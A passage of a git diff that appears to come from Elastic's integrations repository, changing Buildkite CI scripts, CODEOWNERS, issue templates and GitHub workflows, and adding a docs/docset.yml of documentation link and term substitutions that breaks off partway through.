diff --git a/.buildkite/pipeline.schedule-daily.yml b/.buildkite/pipeline.schedule-daily.yml index 84fe6a9c0e7..0edfa787ff7 100644 --- a/.buildkite/pipeline.schedule-daily.yml +++ b/.buildkite/pipeline.schedule-daily.yml @@ -21,7 +21,7 @@ steps: env: SERVERLESS: "false" FORCE_CHECK_ALL: "true" - STACK_VERSION: 7.17.28-SNAPSHOT + STACK_VERSION: 7.17.28 depends_on: - step: "check" allow_failure: false diff --git a/.buildkite/scripts/common.sh b/.buildkite/scripts/common.sh index 9bcad94f6c6..0193c26770e 100755 --- a/.buildkite/scripts/common.sh +++ b/.buildkite/scripts/common.sh @@ -858,6 +858,12 @@ run_tests_package() { if ! skip_installation_step "${package}" ; then echo "--- [${package}] test installation" if ! install_package "${package}" ; then + if [[ "${package}" == "elastic_connectors" ]]; then + # TODO: Remove this skip once elastic_connectors can be installed again + # For reference: https://github.com/elastic/kibana/pull/211419 + echo "[${package}]: Known issue when package is installed - skipped all tests" + return 0 + fi return 1 fi fi diff --git a/.buildkite/scripts/test_one_package.sh b/.buildkite/scripts/test_one_package.sh index 50c5f4043af..2c6315030d2 100755 --- a/.buildkite/scripts/test_one_package.sh +++ b/.buildkite/scripts/test_one_package.sh @@ -35,8 +35,11 @@ with_kubernetes use_elastic_package pushd packages > /dev/null +exit_code=0 if ! process_package "${package}" "${from}" "${to}"; then echo "[${package}] failed" - exit 1 + exit_code=1 fi popd > /dev/null + +exit "${exit_code}" diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS index 7aed4cd3728..593aca1d465 100644 --- a/.github/CODEOWNERS +++ b/.github/CODEOWNERS @@ -464,26 +464,4 @@ /packages/zscaler_zpa @elastic/security-service-integrations /packages/cisco_meraki_metrics @elastic/obs-infraobs-integrations /packages/panw_metrics @elastic/obs-infraobs-integrations -/packages/o365_metrics @elastic/obs-infraobs-integrations @elastic/security-service-integrations -/packages/o365_metrics/data_stream/active_users_services_user_counts @elastic/obs-infraobs-integrations -/packages/o365_metrics/data_stream/groups_activity_group_detail @elastic/security-service-integrations -/packages/o365_metrics/data_stream/onedrive_usage_account_counts @elastic/obs-infraobs-integrations -/packages/o365_metrics/data_stream/onedrive_usage_file_counts @elastic/obs-infraobs-integrations -/packages/o365_metrics/data_stream/onedrive_usage_storage @elastic/obs-infraobs-integrations -/packages/o365_metrics/data_stream/onedrive_usage_account_detail @elastic/security-service-integrations -/packages/o365_metrics/data_stream/outlook_activity @elastic/obs-infraobs-integrations -/packages/o365_metrics/data_stream/outlook_app_usage @elastic/obs-infraobs-integrations -/packages/o365_metrics/data_stream/sharepoint_site_usage_storage @elastic/obs-infraobs-integrations -/packages/o365_metrics/data_stream/sharepoint_site_usage_detail @elastic/obs-infraobs-integrations -/packages/o365_metrics/data_stream/mailbox_usage_detail @elastic/obs-infraobs-integrations -/packages/o365_metrics/data_stream/mailbox_usage_quota_status @elastic/obs-infraobs-integrations -/packages/o365_metrics/data_stream/outlook_app_usage_version_counts @elastic/obs-infraobs-integrations -/packages/o365_metrics/data_stream/teams_device_usage_user_counts @elastic/obs-infraobs-integrations -/packages/o365_metrics/data_stream/teams_user_activity_user_counts @elastic/obs-infraobs-integrations -/packages/o365_metrics/data_stream/teams_user_activity_user_detail @elastic/security-service-integrations -/packages/o365_metrics/data_stream/viva_engage_groups_activity_group_detail @elastic/security-service-integrations -/packages/o365_metrics/data_stream/yammer_device_usage @elastic/obs-infraobs-integrations -/packages/o365_metrics/data_stream/service_health @elastic/obs-infraobs-integrations -/packages/o365_metrics/data_stream/viva_engage_device_usage_user_counts @elastic/obs-infraobs-integrations -/packages/o365_metrics/data_stream/subscriptions @elastic/obs-infraobs-integrations -/packages/o365_metrics/data_stream/teams_call_quality @elastic/obs-infraobs-integrations +/packages/o365_metrics @elastic/obs-infraobs-integrations diff --git a/.github/ISSUE_TEMPLATE/integration_bug.yml b/.github/ISSUE_TEMPLATE/integration_bug.yml index 7c35823a18d..3c40363349e 100644 --- a/.github/ISSUE_TEMPLATE/integration_bug.yml +++ b/.github/ISSUE_TEMPLATE/integration_bug.yml @@ -16,6 +16,7 @@ body: - 1Password [1password] - Abnormal Security [abnormal_security] - ActiveMQ [activemq] + - Admin By Request EPM [admin_by_request_epm] - Airflow [airflow] - Akamai [akamai] - Amazon Security Lake [amazon_security_lake] @@ -34,6 +35,7 @@ body: - AWS [aws] - Amazon Bedrock [aws_bedrock] - Custom AWS Logs [aws_logs] + - Amazon MQ [aws_mq] - AWS Fargate (for ECS clusters) [awsfargate] - Amazon Data Firehose [awsfirehose] - Azure Logs [azure] diff --git a/.github/ISSUE_TEMPLATE/integration_feature_request.yml b/.github/ISSUE_TEMPLATE/integration_feature_request.yml index 2e05c2e55f2..8ff73dd5889 100644 --- a/.github/ISSUE_TEMPLATE/integration_feature_request.yml +++ b/.github/ISSUE_TEMPLATE/integration_feature_request.yml @@ -16,6 +16,7 @@ body: - 1Password [1password] - Abnormal Security [abnormal_security] - ActiveMQ [activemq] + - Admin By Request EPM [admin_by_request_epm] - Airflow [airflow] - Akamai [akamai] - Amazon Security Lake [amazon_security_lake] @@ -34,6 +35,7 @@ body: - AWS [aws] - Amazon Bedrock [aws_bedrock] - Custom AWS Logs [aws_logs] + - Amazon MQ [aws_mq] - AWS Fargate (for ECS clusters) [awsfargate] - Amazon Data Firehose [awsfirehose] - Azure Logs [azure] diff --git a/.github/workflows/bump-elastic-stack-version.yml b/.github/workflows/bump-elastic-stack-version.yml index 2640336d655..2de07644648 100644 --- a/.github/workflows/bump-elastic-stack-version.yml +++ b/.github/workflows/bump-elastic-stack-version.yml @@ -25,7 +25,7 @@ jobs: - uses: actions/checkout@v4 - name: Install Updatecli in the runner - uses: updatecli/updatecli-action@79983ec58a76fe0c87fc76f5a5c7ef8df0bb36c4 #v2.77.0 + uses: updatecli/updatecli-action@d2e5d2667ba67a8599e636531baef731f54858bc #v2.78.1 - name: Select diff action if: ${{ github.event_name == 'pull_request' }} diff --git a/.github/workflows/docs-build.yml b/.github/workflows/docs-build.yml new file mode 100644 index 00000000000..bb466166d0e --- /dev/null +++ b/.github/workflows/docs-build.yml @@ -0,0 +1,19 @@ +name: docs-build + +on: + push: + branches: + - main + pull_request_target: ~ + merge_group: ~ + +jobs: + docs-preview: + uses: elastic/docs-builder/.github/workflows/preview-build.yml@main + with: + path-pattern: docs/** + permissions: + deployments: write + id-token: write + contents: read + pull-requests: read diff --git a/.github/workflows/docs-cleanup.yml b/.github/workflows/docs-cleanup.yml new file mode 100644 index 00000000000..f83e017b5f7 --- /dev/null +++ b/.github/workflows/docs-cleanup.yml @@ -0,0 +1,14 @@ +name: docs-cleanup + +on: + pull_request_target: + types: + - closed + +jobs: + docs-preview: + uses: elastic/docs-builder/.github/workflows/preview-cleanup.yml@main + permissions: + contents: none + id-token: write + deployments: write diff --git a/.github/workflows/updatecli/updatecli.d/bump-latest-7x-version.yml b/.github/workflows/updatecli/updatecli.d/bump-latest-7x-version.yml index a5d83b4fa81..4015652460d 100644 --- a/.github/workflows/updatecli/updatecli.d/bump-latest-7x-version.yml +++ b/.github/workflows/updatecli/updatecli.d/bump-latest-7x-version.yml @@ -27,10 +27,14 @@ scms: sources: latest7xSnapshot: name: Get latest 7.x snapshot - kind: json + kind: file spec: - file: https://storage.googleapis.com/artifacts-api/snapshots/7.17.json - key: .version + file: https://storage.googleapis.com/artifacts-api/releases/current/7.17 + transformers: + # Get only the version to avoid spaces and newlines. + - findsubmatch: + pattern: '([0-9\.]+)' + captureindex: 1 targets: update-7x-version: diff --git a/docs/docset.yml b/docs/docset.yml new file mode 100644 index 00000000000..2b82d085fc1 --- /dev/null +++ b/docs/docset.yml @@ -0,0 +1,508 @@ +project: 'Integration developer guide' +exclude: + - ci_pipelines.md + - dashboard_guidelines.md + - definitions.md + - developer_tsdb_migration_guidelines.md + - developer_workflow_bug_fix_older_package_version.md + - developer_workflow_design_build_test_integration.md + - developer_workflow_fleet_ui.md + - documentation_guidelines.md + - ecs@mappings_migration_guide.md + - fine_tune_integration.md + - generic_guidelines.md + - how_to_test_new_indexing_features.md + - import_from_beats.md + - subobjects_adoption_guide.md + - testing_and_validation.md + - tips_for_building_integrations.md +cross_links: + - docs-content + - ecs + - elasticsearch +toc: + - toc: extend +subs: + ref: "https://www.elastic.co/guide/en/elasticsearch/reference/current" + ref-bare: "https://www.elastic.co/guide/en/elasticsearch/reference" + ref-8x: "https://www.elastic.co/guide/en/elasticsearch/reference/8.1" + ref-80: "https://www.elastic.co/guide/en/elasticsearch/reference/8.0" + ref-7x: "https://www.elastic.co/guide/en/elasticsearch/reference/7.17" + ref-70: "https://www.elastic.co/guide/en/elasticsearch/reference/7.0" + ref-60: "https://www.elastic.co/guide/en/elasticsearch/reference/6.0" + ref-64: "https://www.elastic.co/guide/en/elasticsearch/reference/6.4" + xpack-ref: "https://www.elastic.co/guide/en/x-pack/6.2" + logstash-ref: "https://www.elastic.co/guide/en/logstash/current" + kibana-ref: "https://www.elastic.co/guide/en/kibana/current" + kibana-ref-all: "https://www.elastic.co/guide/en/kibana" + beats-ref-root: "https://www.elastic.co/guide/en/beats" + beats-ref: "https://www.elastic.co/guide/en/beats/libbeat/current" + beats-ref-60: "https://www.elastic.co/guide/en/beats/libbeat/6.0" + beats-ref-63: "https://www.elastic.co/guide/en/beats/libbeat/6.3" + beats-devguide: "https://www.elastic.co/guide/en/beats/devguide/current" + auditbeat-ref: "https://www.elastic.co/guide/en/beats/auditbeat/current" + packetbeat-ref: "https://www.elastic.co/guide/en/beats/packetbeat/current" + metricbeat-ref: "https://www.elastic.co/guide/en/beats/metricbeat/current" + filebeat-ref: "https://www.elastic.co/guide/en/beats/filebeat/current" + functionbeat-ref: "https://www.elastic.co/guide/en/beats/functionbeat/current" + winlogbeat-ref: "https://www.elastic.co/guide/en/beats/winlogbeat/current" + heartbeat-ref: "https://www.elastic.co/guide/en/beats/heartbeat/current" + journalbeat-ref: "https://www.elastic.co/guide/en/beats/journalbeat/current" + ingest-guide: "https://www.elastic.co/guide/en/ingest/current" + fleet-guide: "https://www.elastic.co/guide/en/fleet/current" + apm-guide-ref: "https://www.elastic.co/guide/en/apm/guide/current" + apm-guide-7x: "https://www.elastic.co/guide/en/apm/guide/7.17" + apm-app-ref: "https://www.elastic.co/guide/en/kibana/current" + apm-agents-ref: "https://www.elastic.co/guide/en/apm/agent" + apm-android-ref: "https://www.elastic.co/guide/en/apm/agent/android/current" + apm-py-ref: "https://www.elastic.co/guide/en/apm/agent/python/current" + apm-py-ref-3x: "https://www.elastic.co/guide/en/apm/agent/python/3.x" + apm-node-ref-index: "https://www.elastic.co/guide/en/apm/agent/nodejs" + apm-node-ref: "https://www.elastic.co/guide/en/apm/agent/nodejs/current" + apm-node-ref-1x: "https://www.elastic.co/guide/en/apm/agent/nodejs/1.x" + apm-rum-ref: "https://www.elastic.co/guide/en/apm/agent/rum-js/current" + apm-ruby-ref: "https://www.elastic.co/guide/en/apm/agent/ruby/current" + apm-java-ref: "https://www.elastic.co/guide/en/apm/agent/java/current" + apm-go-ref: "https://www.elastic.co/guide/en/apm/agent/go/current" + apm-dotnet-ref: "https://www.elastic.co/guide/en/apm/agent/dotnet/current" + apm-php-ref: "https://www.elastic.co/guide/en/apm/agent/php/current" + apm-ios-ref: "https://www.elastic.co/guide/en/apm/agent/swift/current" + apm-lambda-ref: "https://www.elastic.co/guide/en/apm/lambda/current" + apm-attacher-ref: "https://www.elastic.co/guide/en/apm/attacher/current" + docker-logging-ref: "https://www.elastic.co/guide/en/beats/loggingplugin/current" + esf-ref: "https://www.elastic.co/guide/en/esf/current" + kinesis-firehose-ref: "https://www.elastic.co/guide/en/kinesis/{{kinesis_version}}" + estc-welcome-current: "https://www.elastic.co/guide/en/starting-with-the-elasticsearch-platform-and-its-solutions/current" + estc-welcome: "https://www.elastic.co/guide/en/starting-with-the-elasticsearch-platform-and-its-solutions/current" + estc-welcome-all: "https://www.elastic.co/guide/en/starting-with-the-elasticsearch-platform-and-its-solutions" + hadoop-ref: "https://www.elastic.co/guide/en/elasticsearch/hadoop/current" + stack-ref: "https://www.elastic.co/guide/en/elastic-stack/current" + stack-ref-67: "https://www.elastic.co/guide/en/elastic-stack/6.7" + stack-ref-68: "https://www.elastic.co/guide/en/elastic-stack/6.8" + stack-ref-70: "https://www.elastic.co/guide/en/elastic-stack/7.0" + stack-ref-80: "https://www.elastic.co/guide/en/elastic-stack/8.0" + stack-ov: "https://www.elastic.co/guide/en/elastic-stack-overview/current" + stack-gs: "https://www.elastic.co/guide/en/elastic-stack-get-started/current" + stack-gs-current: "https://www.elastic.co/guide/en/elastic-stack-get-started/current" + javaclient: "https://www.elastic.co/guide/en/elasticsearch/client/java-api/current" + java-api-client: "https://www.elastic.co/guide/en/elasticsearch/client/java-api-client/current" + java-rest: "https://www.elastic.co/guide/en/elasticsearch/client/java-rest/current" + jsclient: "https://www.elastic.co/guide/en/elasticsearch/client/javascript-api/current" + jsclient-current: "https://www.elastic.co/guide/en/elasticsearch/client/javascript-api/current" + es-ruby-client: "https://www.elastic.co/guide/en/elasticsearch/client/ruby-api/current" + es-dotnet-client: "https://www.elastic.co/guide/en/elasticsearch/client/net-api/current" + es-php-client: "https://www.elastic.co/guide/en/elasticsearch/client/php-api/current" + es-python-client: "https://www.elastic.co/guide/en/elasticsearch/client/python-api/current" + defguide: "https://www.elastic.co/guide/en/elasticsearch/guide/2.x" + painless: "https://www.elastic.co/guide/en/elasticsearch/painless/current" + plugins: "https://www.elastic.co/guide/en/elasticsearch/plugins/current" + plugins-8x: "https://www.elastic.co/guide/en/elasticsearch/plugins/8.1" + plugins-7x: "https://www.elastic.co/guide/en/elasticsearch/plugins/7.17" + plugins-6x: "https://www.elastic.co/guide/en/elasticsearch/plugins/6.8" + glossary: "https://www.elastic.co/guide/en/elastic-stack-glossary/current" + upgrade_guide: "https://www.elastic.co/products/upgrade_guide" + blog-ref: "https://www.elastic.co/blog/" + curator-ref: "https://www.elastic.co/guide/en/elasticsearch/client/curator/current" + curator-ref-current: "https://www.elastic.co/guide/en/elasticsearch/client/curator/current" + metrics-ref: "https://www.elastic.co/guide/en/metrics/current" + metrics-guide: "https://www.elastic.co/guide/en/metrics/guide/current" + logs-ref: "https://www.elastic.co/guide/en/logs/current" + logs-guide: "https://www.elastic.co/guide/en/logs/guide/current" + uptime-guide: "https://www.elastic.co/guide/en/uptime/current" + observability-guide: "https://www.elastic.co/guide/en/observability/current" + observability-guide-all: "https://www.elastic.co/guide/en/observability" + siem-guide: "https://www.elastic.co/guide/en/siem/guide/current" + security-guide: "https://www.elastic.co/guide/en/security/current" + security-guide-all: "https://www.elastic.co/guide/en/security" + endpoint-guide: "https://www.elastic.co/guide/en/endpoint/current" + sql-odbc: "https://www.elastic.co/guide/en/elasticsearch/sql-odbc/current" + ecs-ref: "https://www.elastic.co/guide/en/ecs/current" + ecs-logging-ref: "https://www.elastic.co/guide/en/ecs-logging/overview/current" + ecs-logging-go-logrus-ref: "https://www.elastic.co/guide/en/ecs-logging/go-logrus/current" + ecs-logging-go-zap-ref: "https://www.elastic.co/guide/en/ecs-logging/go-zap/current" + ecs-logging-go-zerolog-ref: "https://www.elastic.co/guide/en/ecs-logging/go-zap/current" + ecs-logging-java-ref: "https://www.elastic.co/guide/en/ecs-logging/java/current" + ecs-logging-dotnet-ref: "https://www.elastic.co/guide/en/ecs-logging/dotnet/current" + ecs-logging-nodejs-ref: "https://www.elastic.co/guide/en/ecs-logging/nodejs/current" + ecs-logging-php-ref: "https://www.elastic.co/guide/en/ecs-logging/php/current" + ecs-logging-python-ref: "https://www.elastic.co/guide/en/ecs-logging/python/current" + ecs-logging-ruby-ref: "https://www.elastic.co/guide/en/ecs-logging/ruby/current" + ml-docs: "https://www.elastic.co/guide/en/machine-learning/current" + eland-docs: "https://www.elastic.co/guide/en/elasticsearch/client/eland/current" + eql-ref: "https://eql.readthedocs.io/en/latest/query-guide" + extendtrial: "https://www.elastic.co/trialextension" + wikipedia: "https://en.wikipedia.org/wiki" + forum: "https://discuss.elastic.co/" + xpack-forum: "https://discuss.elastic.co/c/50-x-pack" + security-forum: "https://discuss.elastic.co/c/x-pack/shield" + watcher-forum: "https://discuss.elastic.co/c/x-pack/watcher" + monitoring-forum: "https://discuss.elastic.co/c/x-pack/marvel" + graph-forum: "https://discuss.elastic.co/c/x-pack/graph" + apm-forum: "https://discuss.elastic.co/c/apm" + enterprise-search-ref: "https://www.elastic.co/guide/en/enterprise-search/current" + app-search-ref: "https://www.elastic.co/guide/en/app-search/current" + workplace-search-ref: "https://www.elastic.co/guide/en/workplace-search/current" + enterprise-search-node-ref: "https://www.elastic.co/guide/en/enterprise-search-clients/enterprise-search-node/current" + enterprise-search-php-ref: "https://www.elastic.co/guide/en/enterprise-search-clients/php/current" + enterprise-search-python-ref: "https://www.elastic.co/guide/en/enterprise-search-clients/python/current" + enterprise-search-ruby-ref: "https://www.elastic.co/guide/en/enterprise-search-clients/ruby/current" + elastic-maps-service: "https://maps.elastic.co" + integrations-docs: "https://docs.elastic.co/en/integrations" + integrations-devguide: "https://www.elastic.co/guide/en/integrations-developer/current" + time-units: "https://www.elastic.co/guide/en/elasticsearch/reference/current/api-conventions.html#time-units" + byte-units: "https://www.elastic.co/guide/en/elasticsearch/reference/current/api-conventions.html#byte-units" + apm-py-ref-v: "https://www.elastic.co/guide/en/apm/agent/python/current" + apm-node-ref-v: "https://www.elastic.co/guide/en/apm/agent/nodejs/current" + apm-rum-ref-v: "https://www.elastic.co/guide/en/apm/agent/rum-js/current" + apm-ruby-ref-v: "https://www.elastic.co/guide/en/apm/agent/ruby/current" + apm-java-ref-v: "https://www.elastic.co/guide/en/apm/agent/java/current" + apm-go-ref-v: "https://www.elastic.co/guide/en/apm/agent/go/current" + apm-ios-ref-v: "https://www.elastic.co/guide/en/apm/agent/swift/current" + apm-dotnet-ref-v: "https://www.elastic.co/guide/en/apm/agent/dotnet/current" + apm-php-ref-v: "https://www.elastic.co/guide/en/apm/agent/php/current" + ecloud: "Elastic Cloud" + esf: "Elastic Serverless Forwarder" + ess: "Elasticsearch Service" + ece: "Elastic Cloud Enterprise" + eck: "Elastic Cloud on Kubernetes" + serverless-full: "Elastic Cloud Serverless" + serverless-short: "Serverless" + es-serverless: "Elasticsearch Serverless" + es3: "Elasticsearch Serverless" + obs-serverless: "Elastic Observability Serverless" + sec-serverless: "Elastic Security Serverless" + serverless-docs: "https://docs.elastic.co/serverless" + cloud: "https://www.elastic.co/guide/en/cloud/current" + ess-utm-params: "?page=docs&placement=docs-body" + ess-baymax: "?page=docs&placement=docs-body" + ess-trial: "https://cloud.elastic.co/registration?page=docs&placement=docs-body" + ess-product: "https://www.elastic.co/cloud/elasticsearch-service?page=docs&placement=docs-body" + ess-console: "https://cloud.elastic.co?page=docs&placement=docs-body" + ess-console-name: "Elasticsearch Service Console" + ess-deployments: "https://cloud.elastic.co/deployments?page=docs&placement=docs-body" + ece-ref: "https://www.elastic.co/guide/en/cloud-enterprise/current" + eck-ref: "https://www.elastic.co/guide/en/cloud-on-k8s/current" + ess-leadin: "You can run Elasticsearch on your own hardware or use our hosted Elasticsearch Service that is available on AWS, GCP, and Azure. https://cloud.elastic.co/registration{ess-utm-params}[Try the Elasticsearch Service for free]." + ess-leadin-short: "Our hosted Elasticsearch Service is available on AWS, GCP, and Azure, and you can https://cloud.elastic.co/registration{ess-utm-params}[try it for free]." + ess-icon: "image:https://doc-icons.s3.us-east-2.amazonaws.com/logo_cloud.svg[link=\"https://cloud.elastic.co/registration{ess-utm-params}\", title=\"Supported on Elasticsearch Service\"]" + ece-icon: "image:https://doc-icons.s3.us-east-2.amazonaws.com/logo_cloud_ece.svg[link=\"https://cloud.elastic.co/registration{ess-utm-params}\", title=\"Supported on Elastic Cloud Enterprise\"]" + cloud-only: "This feature is designed for indirect use by https://cloud.elastic.co/registration{ess-utm-params}[Elasticsearch Service], https://www.elastic.co/guide/en/cloud-enterprise/{ece-version-link}[Elastic Cloud Enterprise], and https://www.elastic.co/guide/en/cloud-on-k8s/current[Elastic Cloud on Kubernetes]. Direct use is not supported." + ess-setting-change: "image:https://doc-icons.s3.us-east-2.amazonaws.com/logo_cloud.svg[link=\"{ess-trial}\", title=\"Supported on {ess}\"] indicates a change to a supported https://www.elastic.co/guide/en/cloud/current/ec-add-user-settings.html[user setting] for Elasticsearch Service." + ess-skip-section: "If you use Elasticsearch Service, skip this section. Elasticsearch Service handles these changes for you." + api-cloud: "https://www.elastic.co + - api/doc/cloud" + api-ece: "https://www.elastic.co + - api/doc/cloud-enterprise" + api-kibana-serverless: "https://www.elastic.co + - api/doc/serverless" + es-feature-flag: "This feature is in development and not yet available for use. This documentation is provided for informational purposes only." + es-ref-dir: "'{{elasticsearch-root}} + - reference'" + apm-app: "APM app" + uptime-app: "Uptime app" + synthetics-app: "Synthetics app" + logs-app: "Logs app" + metrics-app: "Metrics app" + infrastructure-app: "Infrastructure app" + siem-app: "SIEM app" + security-app: "Elastic Security app" + ml-app: "Machine Learning" + dev-tools-app: "Dev Tools" + ingest-manager-app: "Ingest Manager" + stack-manage-app: "Stack Management" + stack-monitor-app: "Stack Monitoring" + alerts-ui: "Alerts and Actions" + rules-ui: "Rules" + rac-ui: "Rules and Connectors" + connectors-ui: "Connectors" + connectors-feature: "Actions and Connectors" + stack-rules-feature: "Stack Rules" + user-experience: "User Experience" + ems: "Elastic Maps Service" + ems-init: "EMS" + hosted-ems: "Elastic Maps Server" + ipm-app: "Index Pattern Management" + ingest-pipelines: "ingest pipelines" + ingest-pipelines-app: "Ingest Pipelines" + ingest-pipelines-cap: "Ingest pipelines" + ls-pipelines: "Logstash pipelines" + ls-pipelines-app: "Logstash Pipelines" + maint-windows: "maintenance windows" + maint-windows-app: "Maintenance Windows" + maint-windows-cap: "Maintenance windows" + custom-roles-app: "Custom Roles" + data-source: "data view" + data-sources: "data views" + data-source-caps: "Data View" + data-sources-caps: "Data Views" + data-source-cap: "Data view" + data-sources-cap: "Data views" + project-settings: "Project settings" + manage-app: "Management" + index-manage-app: "Index Management" + data-views-app: "Data Views" + rules-app: "Rules" + saved-objects-app: "Saved Objects" + tags-app: "Tags" + api-keys-app: "API keys" + transforms-app: "Transforms" + connectors-app: "Connectors" + files-app: "Files" + reports-app: "Reports" + maps-app: "Maps" + alerts-app: "Alerts" + crawler: "Enterprise Search web crawler" + ents: "Enterprise Search" + app-search-crawler: "App Search web crawler" + agent: "Elastic Agent" + agents: "Elastic Agents" + fleet: "Fleet" + fleet-server: "Fleet Server" + integrations-server: "Integrations Server" + ingest-manager: "Ingest Manager" + ingest-management: "ingest management" + package-manager: "Elastic Package Manager" + integrations: "Integrations" + package-registry: "Elastic Package Registry" + artifact-registry: "Elastic Artifact Registry" + aws: "AWS" + stack: "Elastic Stack" + xpack: "X-Pack" + es: "Elasticsearch" + kib: "Kibana" + esms: "Elastic Stack Monitoring Service" + esms-init: "ESMS" + ls: "Logstash" + beats: "Beats" + auditbeat: "Auditbeat" + filebeat: "Filebeat" + heartbeat: "Heartbeat" + metricbeat: "Metricbeat" + packetbeat: "Packetbeat" + winlogbeat: "Winlogbeat" + functionbeat: "Functionbeat" + journalbeat: "Journalbeat" + es-sql: "Elasticsearch SQL" + esql: "ES|QL" + elastic-agent: "Elastic Agent" + k8s: "Kubernetes" + log-driver-long: "Elastic Logging Plugin for Docker" + security: "X-Pack security" + security-features: "security features" + operator-feature: "operator privileges feature" + es-security-features: "Elasticsearch security features" + stack-security-features: "Elastic Stack security features" + endpoint-sec: "Endpoint Security" + endpoint-cloud-sec: "Endpoint and Cloud Security" + elastic-defend: "Elastic Defend" + elastic-sec: "Elastic Security" + elastic-endpoint: "Elastic Endpoint" + swimlane: "Swimlane" + sn: "ServiceNow" + sn-itsm: "ServiceNow ITSM" + sn-itom: "ServiceNow ITOM" + sn-sir: "ServiceNow SecOps" + jira: "Jira" + ibm-r: "IBM Resilient" + webhook: "Webhook" + webhook-cm: "Webhook - Case Management" + opsgenie: "Opsgenie" + bedrock: "Amazon Bedrock" + gemini: "Google Gemini" + hive: "TheHive" + monitoring: "X-Pack monitoring" + monitor-features: "monitoring features" + stack-monitor-features: "Elastic Stack monitoring features" + watcher: "Watcher" + alert-features: "alerting features" + reporting: "X-Pack reporting" + report-features: "reporting features" + graph: "X-Pack graph" + graph-features: "graph analytics features" + searchprofiler: "Search Profiler" + xpackml: "X-Pack machine learning" + ml: "machine learning" + ml-cap: "Machine learning" + ml-init: "ML" + ml-features: "machine learning features" + stack-ml-features: "Elastic Stack machine learning features" + ccr: "cross-cluster replication" + ccr-cap: "Cross-cluster replication" + ccr-init: "CCR" + ccs: "cross-cluster search" + ccs-cap: "Cross-cluster search" + ccs-init: "CCS" + ilm: "index lifecycle management" + ilm-cap: "Index lifecycle management" + ilm-init: "ILM" + dlm: "data lifecycle management" + dlm-cap: "Data lifecycle management" + dlm-init: "DLM" + search-snap: "searchable snapshot" + search-snaps: "searchable snapshots" + search-snaps-cap: "Searchable snapshots" + slm: "snapshot lifecycle management" + slm-cap: "Snapshot lifecycle management" + slm-init: "SLM" + rollup-features: "data rollup features" + ipm: "index pattern management" + ipm-cap: "Index pattern" + rollup: "rollup" + rollup-cap: "Rollup" + rollups: "rollups" + rollups-cap: "Rollups" + rollup-job: "rollup job" + rollup-jobs: "rollup jobs" + rollup-jobs-cap: "Rollup jobs" + dfeed: "datafeed" + dfeeds: "datafeeds" + dfeed-cap: "Datafeed" + dfeeds-cap: "Datafeeds" + ml-jobs: "machine learning jobs" + ml-jobs-cap: "Machine learning jobs" + anomaly-detect: "anomaly detection" + anomaly-detect-cap: "Anomaly detection" + anomaly-job: "anomaly detection job" + anomaly-jobs: "anomaly detection jobs" + anomaly-jobs-cap: "Anomaly detection jobs" + dataframe: "data frame" + dataframes: "data frames" + dataframe-cap: "Data frame" + dataframes-cap: "Data frames" + watcher-transform: "payload transform" + watcher-transforms: "payload transforms" + watcher-transform-cap: "Payload transform" + watcher-transforms-cap: "Payload transforms" + transform: "transform" + transforms: "transforms" + transform-cap: "Transform" + transforms-cap: "Transforms" + dataframe-transform: "transform" + dataframe-transform-cap: "Transform" + dataframe-transforms: "transforms" + dataframe-transforms-cap: "Transforms" + dfanalytics-cap: "Data frame analytics" + dfanalytics: "data frame analytics" + dataframe-analytics-config: "'{dataframe} analytics config'" + dfanalytics-job: "'{dataframe} analytics job'" + dfanalytics-jobs: "'{dataframe} analytics jobs'" + dfanalytics-jobs-cap: "'{dataframe-cap} analytics jobs'" + cdataframe: "continuous data frame" + cdataframes: "continuous data frames" + cdataframe-cap: "Continuous data frame" + cdataframes-cap: "Continuous data frames" + cdataframe-transform: "continuous transform" + cdataframe-transforms: "continuous transforms" + cdataframe-transforms-cap: "Continuous transforms" + ctransform: "continuous transform" + ctransform-cap: "Continuous transform" + ctransforms: "continuous transforms" + ctransforms-cap: "Continuous transforms" + oldetection: "outlier detection" + oldetection-cap: "Outlier detection" + olscore: "outlier score" + olscores: "outlier scores" + fiscore: "feature influence score" + evaluatedf-api: "evaluate {dataframe} analytics API" + evaluatedf-api-cap: "Evaluate {dataframe} analytics API" + binarysc: "binary soft classification" + binarysc-cap: "Binary soft classification" + regression: "regression" + regression-cap: "Regression" + reganalysis: "regression analysis" + reganalysis-cap: "Regression analysis" + depvar: "dependent variable" + feature-var: "feature variable" + feature-vars: "feature variables" + feature-vars-cap: "Feature variables" + classification: "classification" + classification-cap: "Classification" + classanalysis: "classification analysis" + classanalysis-cap: "Classification analysis" + infer-cap: "Inference" + infer: "inference" + lang-ident-cap: "Language identification" + lang-ident: "language identification" + data-viz: "Data Visualizer" + file-data-viz: "File Data Visualizer" + feat-imp: "feature importance" + feat-imp-cap: "Feature importance" + nlp: "natural language processing" + nlp-cap: "Natural language processing" + apm-agent: "APM agent" + apm-go-agent: "Elastic APM Go agent" + apm-go-agents: "Elastic APM Go agents" + apm-ios-agent: "Elastic APM iOS agent" + apm-ios-agents: "Elastic APM iOS agents" + apm-java-agent: "Elastic APM Java agent" + apm-java-agents: "Elastic APM Java agents" + apm-dotnet-agent: "Elastic APM .NET agent" + apm-dotnet-agents: "Elastic APM .NET agents" + apm-node-agent: "Elastic APM Node.js agent" + apm-node-agents: "Elastic APM Node.js agents" + apm-php-agent: "Elastic APM PHP agent" + apm-php-agents: "Elastic APM PHP agents" + apm-py-agent: "Elastic APM Python agent" + apm-py-agents: "Elastic APM Python agents" + apm-ruby-agent: "Elastic APM Ruby agent" + apm-ruby-agents: "Elastic APM Ruby agents" + apm-rum-agent: "Elastic APM Real User Monitoring (RUM) JavaScript agent" + apm-rum-agents: "Elastic APM RUM JavaScript agents" + apm-lambda-ext: "Elastic APM AWS Lambda extension" + project-monitors: "project monitors" + project-monitors-cap: "Project monitors" + private-location: "Private Location" + private-locations: "Private Locations" + pwd: "YOUR_PASSWORD" + esh: "ES-Hadoop" + default-dist: "default distribution" + oss-dist: "OSS-only distribution" + observability: "Observability" + api-request-title: "Request" + api-prereq-title: "Prerequisites" + api-description-title: "Description" + api-path-parms-title: "Path parameters" + api-query-parms-title: "Query parameters" + api-request-body-title: "Request body" + api-response-codes-title: "Response codes" + api-response-body-title: "Response body" + api-example-title: "Example" + api-examples-title: "Examples" + api-definitions-title: "Properties" + multi-arg: "†footnoteref:[multi-arg,This parameter accepts multiple arguments.]" + multi-arg-ref: "†footnoteref:[multi-arg]" + yes-icon: "image:https://doc-icons.s3.us-east-2.amazonaws.com/icon-yes.png[Yes,20,15]" + no-icon: "image:https://doc-icons.s3.us-east-2.amazonaws.com/icon-no.png[No,20,15]" + es-repo: "https://github.com/elastic/elasticsearch/" + es-issue: 